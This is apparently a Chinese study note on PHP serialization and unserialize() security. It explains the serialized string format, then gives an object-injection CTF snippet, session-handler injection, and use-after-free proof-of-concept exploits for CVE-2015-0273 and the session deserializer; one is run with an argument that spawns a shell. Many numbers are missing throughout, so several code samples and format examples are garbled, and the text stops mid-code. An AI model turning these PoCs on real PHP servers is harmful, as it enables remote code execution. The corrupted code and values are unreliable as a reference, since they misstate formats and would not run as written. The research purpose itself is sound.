目录

. 序列化的定义
. serialize:序列化
. unserialize:反序列化
. 序列化、反序列化存在的安全风险
. Use After Free Vulnerability in unserialize() with DateTime* [CVE--]
. PHP中的内存破坏漏洞利用(CVE--8142和CVE--)
. PHP多种序列化、反序列化处理机制不同导致对象注入
. 序列化/反序列化在开源CMS上存在的漏洞
. pch-.md: Use After Free Vulnerabilities in Session Deserializer
. 反序列化和PHP自动加载(__autoload()、spl_autoload_register())组合产生入侵向量

1. 序列化的定义

序列化在计算机科学中通常有以下定义:

. 对同步控制而言,表示强制在同一时间内进行单一存取
. 在数据储存与传送的部分是指将一个对象存储至一个储存媒介,例如档案或是记亿体缓冲等,或者透过网络传送资料时进行编码的过程,可以是字节或是XML等格式。而字节的或XML编码格式可以还原完全相等的对象。这程序被应用在不同应用程序之间传送对象,以及服务器将对象储存到档案或数据库。相反的过程又称为反序列化

序列化有多个优点

. 一个简单和持久的方法使对象持续
. 一个发起远程过程调用的方法,例如在SOAP内的
. 一个分发对象的方法,尤其是在如COM及CORBA的软件组件化内

Relevant Link:

http://zh.wikipedia.org/wiki/%E5%BA%8F%E5%88%97%E5%8C%96
http://baike.baidu.com/view/160029.htm

2. serialize:序列化

serialize: 产生一个可存储的值的表示
serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。这有利于存储或传递 PHP 的值,同时不丢失其类型和结构
serialize() 可处理除了 resource 之外的任何类型,包括

. 指向其自身引用的数组
. serialize() 的数组/对象中的引用也将被存储(引用本身也会被序列化)
. ...

从本质上来讲,序列化的过程是一个"对象(广义上的对象,包括integer、float、string、array、object)"进行"对象销毁",然后转换为一个通用的中间可存储字符串,在整个序列化过程中,对象经历的声明周期如下

. __sleep(): 在执行对象销毁前获得执行权限
. __destruct():执行实际的对象销毁操作

code

<?php
class Connection
{
var $protected_var;
var $private_var; public function __construct($server, $username, $password, $db)
{
echo "function __construct() is called" . "</br>";
$this->protected_var = "protected_var";
$this->private_var = "private_var";
} function __destruct()
{
echo "function __destruct() is called" . "</br>";
} public function __sleep()
{
echo "function __sleep() is called" . "</br>";
} public function __wakeup()
{
echo "function __wakeup() is called" . "</br>";
}
} //initialize a var
$obj = new Connection(); //var_dump($obj); $result = serialize($obj); //var_dump($result); unserialize($result);
?>

Relevant Link:

http://php.net/manual/zh/function.serialize.php
http://php.net/manual/zh/language.oop5.magic.php#object.wakeup
http://php.net/manual/zh/language.oop5.decon.php

0x1: 序列化字符串格式

. a – array: 复合类型
. b – boolean: 标量类型
. d – double: 标量类型
. i – integer: 标量类型
. o – common object 
. r – reference: 对象引用 
. s – string: 标量类型
. C – custom object: C 是 PHP5 中引入的,它表示自定义的对象序列化方式
. O – class: 复合类型
. N – null: N 表示的是 NULL
. R – pointer reference: 指针引用 
. U – unicode string: U 是 PHP6 中才引入的,它表示 Unicode 编码的字符串。因为 PHP6 中提供了 Unicode 方式保存字符串的能力,因此它提供了这种序列化字符串的格式

0x2: NULL和标量类型的序列化

NULL和标量类型的序列化是最简单的,也是构成复合类型序列化的基础

. NULL 的序列化
在 PHP 中,NULL 被序列化为: N; . boolean 型数据的序列化
boolean 型数据被序列化为: b:; 或 b:; . integer 型数据的序列化
integer 型数据(整数)被序列化为: i:- ~ ;
数字前可以有正负号,如果被序列化的数字超过这个范围,则会被序列化为浮点数类型而不是整型。如果序列化后的数字超过这个范围(PHP 本身序列化时不会发生这个问题),则反序列化时,将不会返回期望的数值 . double 型数据的序列化
double 型数据(浮点数)被序列化为:d:double float;
其范围与 PHP 中浮点数的范围一样。可以表示成整数形式、浮点数形式和科学技术法形式。如果序列化后的数字范围超过 PHP 能表示的最大值,则反序列化时返回无穷大(INF),如果序列化后的数字范围超过 PHP 所能表示的最小精度,则反序列化时返回 .string 型数据的序列化
string 型数据(字符串)被序列化为:s:length:"";
前一个冒号中的是长度,是非负整数,数字前可以带有正号(+)。后面的冒号中为字符串值,这里的每个字符都是单字节字符,其范围与 ASCII 码的 – 的字符相对应。每个字符都表示原字符含义,没有转义字符, 两边的引号("")是必须的,但不计算在长度当中

0x3: 简单复合类型的序列化

. 数组序列化: a::{i:;s::"prefix";s::"payload";s::"attack";}
) a:2表示数组元素的个数
) i:0表示数组元素的下标
) s::"prefix"表示与下标对应的数组元素的值 ) s::"payload"表示数组下标payload
) s::"attack"表示对应下标的值
. 对象序列化: O::"Foo"::{s::"var1";i:;s::"var2";i:;s::"*var3";i:;s::"Foovar4";i:;}
) O::"Foo": 代表对象的类名长度,以及类名字符串
) :: 代表该对象有4个成员
) var 和 public 声明的字段都是公共字段,因此它们的字段名的序列化格式是相同的。公共字段的字段名按照声明时的字段名进行序列化,但序列化后的字段名中不包括声明时的变量前缀符号 $
) protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\*\0的前缀。这里的 \ 表示 ASCII 码为 的字符,而不是 \ 组合
) private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,字段名前面会加上\\0的前缀。这里 表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类
//字段名被作为字符串序列化时,字符串值中包括根据其可见性所加的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的

0x4: 嵌套复合类型的序列化

在PHP中,复合类型数据(对象和数组)是引用传递的,但是引用传递也分为两类

. 对象引用: 普通的符合类型数据赋值就是对象引用
. 指针引用: 赋值对象前加上&的赋值就是指针引用

看下面的例子

<?php

class SampleClass
{
var $value;
}
$a = new SampleClass();
$a->value = $a; $b = new SampleClass();
$b->value = &$b; $a->value = ;
$b->value = ; var_dump($a);
var_dump($b); ?>

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAOoAAABLCAIAAADxtoxSAAADb0lEQVR4nO2c4XHjIBBG+ZXy0kcKySSTElJCrpCU5ftxOQ1mYbUgFOmT3xtPRkawrMwTRnLs9PX1hwcP0Ue6AciCviAM+oIw6AvCoC8Ig74gDPqCMOgLwqAvCIO+IIyAvikJJDlM6+jSf5yGfoVHoOvgv99+XrG3b69Ca+8I1eFJGdvjB+PYTifmECy0e9G3i/mC+jHt8OwxYKuu+LPgHr2vzruzepfm1PqewV2/wqx8uo4034W+DstqYdErL8md82tWq6WUXl5SwZ3E1UFtzVXLriJiUcFGaPWyRHNeIBuqiG/7baXnR27t8tO7PM7B55Pisl0ttE262nbMvreawXY47d/qhv+0V9/qdtBL9B1jV31ziratju6TC79r2/my5a6znccpZsdIDkUaeYmtEwkV6RR9W8yafasBI+UhfXMbpug79tSm4R/IqoXoG+HUi4db4B3Zbvv6Bo0smtuaq2k4vazWdwrRN2fWpVteP3jpZr2vSGxnuKoKObdMvnwjb2ubtLpwSpzyVlathvaldw7Tr/ZQzD34PW6rTRihM49xK7fWuRqv8AhMOfjWnHo8jPG1YVxBGPQFYdAXhLmUvocsc1lbH8hZBrt1jdVrxphJG6/wxhq+f7yOdbeR58+nQ/rdgwOmDf9m0E6R92u+pdOgwRNn9+fPJ/Td0N9u7m7nkARmzcHx5NHXRKl9nlTdrn7stNSxAVsddWVlG1bj2ARa272iv3+8Fo9ib1e0Kui7LVDPPyTcai/3akkrciSreIaR5OMJBHEMLs6W6vnfdVKhr4kSsyToSrDCcGLLUyuB3zbdM5BPldXZt5XY2OmEvibKWfWtdu0nWX1aDRLHWTxEVg7o22Kyvi2PJ64ceh3yz5xjFw9jdx7Qd2HCGLTeT1ObVp1qSVFzLEMn57H0BtIoiLub92iTKWr60f7dOLuMwXP03R4EYIBN5k2cigAGwDwQBn1BGPQFYdAXhEFfEAZ9QRj0BWHQF4RBXxAGfUEY9AVh0BeEQV8QBn1BGPQFYdAXhEFfEOZX9b3MV6zgJKzoO/GLQFf6hiCchF/9qib6wlzQF4TxzHN+9MAWRjpDX5hL39o38fsucCbQF4RBXxBmfe3Lr2vBaeFTNxAGfUEY9AVh0BeEQV8QBn1BGPQFYdAXhEFfEAZ9QRj0BWH+Ap+1OkZzRLc4AAAAAElFTkSuQmCC" alt="" />

改变 $a->value 的值仅仅是改变了 $a->value 的值,而改变 $b->value 的值却改变了 $b 本身,这就是对象引用和指针引用的区别

0x5: 引用标示后的数字

对象引用(r)和指针引用(R)的格式为

r:number;
R:number;

这个number,就是所引用的对象在序列化串中第一次出现的位置,但是这个位置不是指字符的位置,而是指对象(这里的对象是泛指所有类型的量,而不仅限于对象类型)的位置

<?php

class ClassA
{
var $int;
var $str;
var $bool;
var $obj;
var $pr;
} $a = new ClassA();
$a->int = ;
$a->str = “Hello”;
$a->bool = false;
$a->obj = $a;
$a->pr = &$a->str; echo serialize($a); ?>

aaarticlea/png;base64,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" alt="" />

. 在这个例子中,首先序列化的对象是 ClassA 的一个对象,那么给它编号为
. 接下来要序列化的是这个对象的几个成员,第一个被序列化的成员是 int 字段,那它的编号就为
. 接下来被序列化的成员是 str,那它的编号就是
. 依此类推,到了 obj 成员时,它发现该成员已经被序列化了,并且编号为 ,因此它被序列化时,就被序列化成了 r:;
. 在接下来被序列化的是 pr 成员,它发现该成员实际上是指向 str 成员的一个引用,而 str 成员的编号为 ,因此,pr 就被序列化为 R:; 了

PHP 是如何来编号被序列化的对象的呢

. PHP 在序列化时,首先建立一个空表
. 然后每个被序列化的对象在被序列化之前,都需要先计算该对象的 Hash 值,然后判断该 Hash 值是否已经出现在该表中了
. 如果没有出现,就把该 Hash 值添加到这个表的最后,返回添加成功
. 如果出现了,则返回添加失败,但是在返回失败前先判断该对象是否是一个引用(用 & 符号定义的引用),如果不是则也把 Hash 值添加到表后(尽管返回的是添加失败)
. 如果返回失败,则同时返回上一次出现的位置
. 在添加 Hash 值到表中之后,如果添加失败,则判断添加的是一个引用还是一个对象,如果是引用,则返回 R 标示,如果是对象,则返回 r 标示。因为失败时,会同时返回上一次出现的位置,因此,R 和 r 标示后面的数字,就是这个位置

0x6: 对象引用的反序列化

PHP 在反序列化处理对象引用时很有意思,如果反序列化的字符串不是 PHP 的 serialize() 本身生成的,而是人为构造或者用其它语言生成的,即使对象引用指向的不是一个对象,它也能正确地按照对象引用所指向的数据进行反序列化

<?php

class StrClass
{
var $a;
var $b;
} $a = unserialize('O:8:"StrClass":2:{s:1:"a";s:5:"Hello";s:1:"b";r:2;}'); var_dump($a); ?>

aaarticlea/png;base64,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" alt="" />

大家会发现,上面的例子反序列化后,$a->b 的值与 $a->a 的值是一样的,尽管 $a->a 不是一个对象,而是一个字符串。因此如果大家用其它语言来实现序列化的话,不一定非要把 string 作为标量类型来处理,即使按照对象引用来序列化拥有相同字符串内容的复合类型,用 PHP 同样可以正确的反序列化。这样可以更节省序列化后的内容所占用的空间

3. unserialize:反序列化

从已存储的表示中创建 PHP 的值
unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值

在反序列化中,经历的对象声明周期为

. __construct():执行对象注册、包括对象中成员的注册
. __wakeup:在构造函数执行后获得执行权限

Relevant Link:

http://php.net/manual/zh/function.unserialize.php

4. 序列化、反序列化存在的安全风险

0x1: 对象注入

<?php
#GOAL: get the secret; class just4fun
{
var $enter;
var $secret;
} if (isset($_GET['pass']))
{
$pass = $_GET['pass']; if(get_magic_quotes_gpc())
{
$pass=stripslashes($pass);
} $o = unserialize($pass); if ($o)
{
$o->secret = "?????????????????????????????";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
}
?>

serialize一个just4fun的对象,序列化之前先进行引用赋值

$o->enter = &$o->secret

0x2: PHP Session 序列化及反序列化处理器

http://drops.wooyun.org/tips/3909

0x3: 基于序列化、反序列化的Webshell隐藏技巧

http://www.cnblogs.com/LittleHann/p/3522990.html
搜索:0x22: PHP的序列化、反序列化特性布置后门

Relevant Link:

http://drops.wooyun.org/papers/660

5. Use After Free Vulnerability in unserialize() with DateTime [CVE-2015-0273]

A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

0x1: Affected Versions

Affected is PHP 5.6 < 5.6.
Affected is PHP 5.5 < 5.5.
Affected is PHP 5.4 < 5.4.
Affected is PHP 5.3 <= 5.3.

0x2: 漏洞源代码分析

\php-src-master\ext\date\php_date.c

static int php_date_initialize_from_hash(php_date_obj **dateobj, HashTable *myht)
{
zval *z_date;
zval *z_timezone;
zval *z_timezone_type;
zval tmp_obj;
timelib_tzinfo *tzi;
php_timezone_obj *tzobj; z_date = zend_hash_str_find(myht, "date", sizeof("data")-);
if (z_date) {
convert_to_string(z_date);
z_timezone_type = zend_hash_str_find(myht, "timezone_type", sizeof("timezone_type")-);
if (z_timezone_type) {
convert_to_long(z_timezone_type);
z_timezone = zend_hash_str_find(myht, "timezone", sizeof("timezone")-);
if (z_timezone) {
convert_to_string(z_timezone); ...

The convert_to_long() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.

0x3: poc

<?php

$f = $argv[];
$c = $argv[]; $fakezval1 = ptr2str(0x100b83008);
$fakezval1 .= ptr2str(0x8);
$fakezval1 .= "\x00\x00\x00\x00";
$fakezval1 .= "\x06";
$fakezval1 .= "\x00";
$fakezval1 .= "\x00\x00"; $data1 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}'; $x = unserialize($data1);
$y = $x[]; // zend_eval_string()'s address
$y[][] = "\x6d";
$y[][] = "\x1e";
$y[][] = "\x35";
$y[][] = "\x00";
$y[][] = "\x01";
$y[][] = "\x00";
$y[][] = "\x00";
$y[][] = "\x00"; $fakezval2 = ptr2str(0x3b296324286624); // $f($c);
$fakezval2 .= ptr2str(0x100b83000);
$fakezval2 .= "\x00\x00\x00\x00";
$fakezval2 .= "\x05";
$fakezval2 .= "\x00";
$fakezval2 .= "\x00\x00"; $data2 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}'; $z = unserialize($data2); function ptr2str($ptr)
{
$out = "";
for ($i=; $i<; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= ;
}
return $out;
} ?>

gdb php
run uafpoc.php assert "system\('sh'\)==exit\(\)"

Relevant Link:

https://github.com/80vul/phpcodz/tree/master/research

6. PHP中的内存破坏漏洞利用(CVE-2014-8142和CVE-2015-0231)

待研究

Relevant Link:

http://drops.wooyun.org/papers/4864

7. PHP多种序列化、反序列化处理机制不同导致对象注入

PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式

. php: 键名 | 经过 serialize() 函数反序列处理的值
. php_binary: 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
. php_serialize(php>=5.5.): 经过 serialize() 函数反序列处理的数组

0x1: ini_set("session.serialize_handler", "php");

0x2: ini_set("session.serialize_handler", "php_serialize");

0x3: ini_set("session.serialize_handler", "php_binary");

0x4: 安全隐患

构造通过ini_set("session.serialize_handler", "php_serialize");方式生成的SESSION本地化文件

D:\wamp\tmp
a::{s::"ryat";s::"|O:8:"stdClass":0:{}

然后通过PHP默认的ini_set("session.serialize_handler", "php");方式从磁盘上load这个SESSION文件

<?php
session_start(); ini_set("session.serialize_handler", "php");
var_dump($_SESSION);
?>

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAANkAAABHCAIAAAAFsHUSAAAD+klEQVR4nO2cXXLrIAyF2W4X0kmnG8uyuA/J9WD0gwBjH6fnmz7EREgCjoXtSZ0yIRikqxMg5A21SFCgFgkK1CJBgVokKFCLBAVqkaBALRIUqEWCArVIUADVYkpXJnZt9D8L4qRHpHCsXKQ3yvF84Gb8fBGklKhFBLBm/BIFqEGpxfMpZ/z5SBuPZ9HyeG5fPZ5uozwszDa3djZ7BaQ9ZYtvJi2TwArqNJKlbDP+UkwpwZ0c9zKqGtW+lkM3GyGyppn6WX6IB413JMdSzbhVGisZOY113/91sVuIufNKziqBvUGdEGQpco+OlDTZaPad0aLa3pSsZcANGpzgHu1r0bGPCjGPatHZlyNFMV53yWqse5cXX1+7w+oK0mn0pWyksi9XVRlTC5vf2AwnzSjEC1k69R1CfHGtFCjEa1k0+x3PcQh5wUpAUKAWCQrUIkGhW4uRW9SjWBdruzdf4fy0EGNpnLmCXYzkNDmSePfhQH7HOwpRPoGKPLqy0hhL7Of3e6BXnJG6OBWv56QcizW8QsNYi31UiEqCaovT8cBnqEvliPIbrUnLqsvJe9DqcMNaXME6OS7fRFRL2dHyKf07IbbP8RDSJu2RQ1O/CtZ7tYKq/n0PlhaDaTT5+f2u/qpv50NIVm0ieVqLznRbfWe06HizPFvh4nTNWzMNv++xrJDjkXkHy0N8srpm2VqeOGrRstqrSjYQrnTVm978YGeArou5p0iMaTHSt2u7jIeTVdb6MEzvpK3WorNHo18vrtijs7HYkWI5vEdHXPnpdRGcN/+cPHOPvsd9dNqTjXmRdSuoRbXgzYdQ81dzcEYaDCG9qUGtYaoRIxNyFHDPF89k9VkeSQDc4SfBqdFRqw5ZCueaoEAtEhSoRYLCh2sR/4LPybB5zfphF7WnDUN9/4Q0OPKfY+YXSX3asjUeJQXLg6/CiNm9OHMYx6vN9xlcpGbt8W3O16I8QyYTAOFjtRhfoUj5WSdEx08wKLXYxHxr2b6xaamaJfEegVqRcoUqa7VFWqquIlGsoFYmEedqu5PevVg0jIE3j/lmXa9YybnndxXW0g5oMYmtMygyajEDa7Gk6msF2g/MqFi+WVBMVohs1MVmJnEtxs+x2wGrxchb9pz2waLS1KI0KA9LCTaTcVx1NVKLPtfv0Tm2llWJkvXMF5912KXF4Gkjs/W73w6Ee5fSPnjv4rwktxibewNRflUdVpbWoeVNxfevzqDl3De7LzjDWPHE5wbr5GRoiS9ucC8uHwbfSEbeXK5FQt5QiwQFapGgQC0SFKhFggK1SFCgFgkK1CJBgVokKFCLBAVqkaBALRIUqEWCArVIUKAWCQrUIkGBWiQoUIsEhX+3gET0T/TFRAAAAABJRU5ErkJggg==" alt="" />

造成反序列化对象注入

Relevant Link:

http://drops.wooyun.org/tips/3909

8. 序列化/反序列化在开源CMS上存在的漏洞

Relevant Link:

http://drops.wooyun.org/papers/596

9. pch-031.md: Use After Free Vulnerabilities in Session Deserializer

Multiple use-after-free vulnerabilities were discovered in session deserializer (php/php_binary/php_serialize) that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

<?php

session_start();

$fakezval = ptr2str();
$fakezval .= ptr2str();
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00"; $exploit = 'ryat|a:2:{i:0;i:1;i:1;a:1:{i:1;chtg|a:1:{i:0;R:4;}'; //$exploit = 'ryat|a:1:{i:0;i:1;}ryat|i:1;chtg|R:1;';
session_decode($exploit); for ($i = ; $i < ; $i++) {
$v[$i] = $fakezval.$i;
} var_dump($_SESSION); function ptr2str($ptr)
{
$out = "";
for ($i = ; $i < ; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= ;
}
return $out;
} ?>

When session deserializer (php/php_binary) deserializing multiple data it will call to php_var_unserialize() multiple times. So we can create ZVAL and free it via the php_var_unserialize() with a crafted serialized string, and also free the memory (reduce the reference count of the ZVAL to zero) via zval_ptr_dtor() with deserialize two identical session data, then the next call to php_var_unserialize() will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.
In some other cases, session deserializer (php/php_binary/php_serialize) may also lead to use-after-free vulnerabilities: i) via crafted Serializable::unserialize() ii) via unserialize()'s callback function and zend_lookup_class() call a crafted __autoload().

Relevant Link:

https://github.com/80vul/phpcodz/blob/master/research/pch-031.md

待研究

http://www.ptsecurity.com/upload/iblock/dac/daca495893852753dac1d0b17f51df19.pdf
https://sektioneins.de/en/blog/14-08-27-unserialize-typeconfusion.html

10. 反序列化和PHP自动加载(__autoload()、spl_autoload_register())组合产生入侵向量

0x1: spl_autoload_register自身存在的binary漏洞

<?php
$buffer = str_repeat("A",);
spl_autoload_register($buffer); ## Or..
# spl_autoload_register($buffer,,); #Should work too.
?>

0x2: __autoload() —— 自动加载函数

__autoload — 尝试加载未定义的类,可以通过定义这个函数来启用类的自动加载

//创建class文件夹,分别创建3个类库文件
<?php
//class1.class.php中
class class1{
public function __construct(){
echo "class1";
}
}
?> <?php
//class2.class.php中
class class2{
public function __construct(){
echo "class2";
}
}
?> <?php
//class3.class.php中
class class3{
public function __construct(){
echo "class3";
}
}
?>

index.php文件中写入

<?php
function __autoload($classname){
